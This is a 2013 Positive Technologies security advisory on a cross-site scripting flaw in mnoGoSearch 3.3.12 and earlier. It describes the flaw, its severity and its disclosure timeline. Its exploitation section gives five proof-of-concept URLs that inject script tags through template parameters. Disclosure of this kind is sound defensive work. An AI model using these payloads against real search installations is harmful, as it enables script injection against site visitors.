(PT-2013-18) Positive Technologies Security Advisory
Variables Overwriting in mnoGoSearch

Vulnerable software

mnoGoSearch
Version: 3.3.12 and earlier

Application link:
http://www.mnogosearch.org/

Severity level

Severity level: Medium
Impact: Cross-Site Scripting (XSS)
Access Vector: Remote

CVSS v2:
Base Score: 4.3
Vector: (AV:N/AC:M/Au:N/C:N/I:P/A:N)

CVE: not assigned

Software description

mnoGoSearch is a universal Intranet and Internet search engine.

Vulnerability description

Positive Technologies experts have detected a Cross-Site Scripting vulnerability in mnoGoSearch.

Due to incorrect application architecture, all the template variables and variables sent by the client are stored in the same list. This vulnerability allows attackers to overwrite any uninitialized variables used in the template. Overwriting parameters, which are displayed on the web page without processing, results in multiple cross-site scripting vulnerabilities.
Exploitation example
http://www.mnogosearch.org/search/index.html?q=x&STORED=%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E
http://www.mnogosearch.org/search/index.html?q=x&CL=%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E
http://www.mnogosearch.org/search/index.html?q=a&cc=1&Charset=%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E
http://www.mnogosearch.org/search/index.html?q=a&ResultContentType=text/html%0A%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E
http://www.mnogosearch.org/search/index.html?q=aaa&total=%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E&a=a

How to fix

Update your software up to the latest version.

Advisory status

15.02.2013 - Vendor gets vulnerability details
01.03.2013 - Vendor releases fixed version and details
05.03.2013 - Public disclosure

Credits

The vulnerabilities has discovered by Sergey Bobrov, Positive Research Center (Positive Technologies Company)

References

http://en.securitylab.ru/lab/PT-2013-18
http://www.mnogosearch.org/bugs/index.php?id=4819

Reports on the vulnerabilities previously discovered by Positive Research:

http://ptsecurity.com/research/advisory/
http://en.securitylab.ru/lab/

About Positive Technologies

Positive Technologies www.ptsecurity.com is among the key players in the IT security market in Russia.

The principal activities of the company include the development of integrated tools for information security monitoring (MaxPatrol); providing IT security consulting services and technical support; development of the Securitylab leading Russian information security portal.

Among the clients of Positive Technologies, there are more than 40 state enterprises, more than 50 banks and financial organizations, 20 telecommunication companies, more than 40 plant facilities, as well as IT, service and retail companies from Russia, the CIS countries, the Baltic States, China, Ecuador, Germany, Great Britain, Holland, Iran, Israel, Japan, Mexico, the Republic of South Africa, Thailand, Turkey, and the USA.

Positive Technologies is a team of highly skilled developers, advisers and experts with years of vast hands-on experience. The company specialists possess professional titles and certificates; they are the members of various international societies and are actively involved in the IT security field development.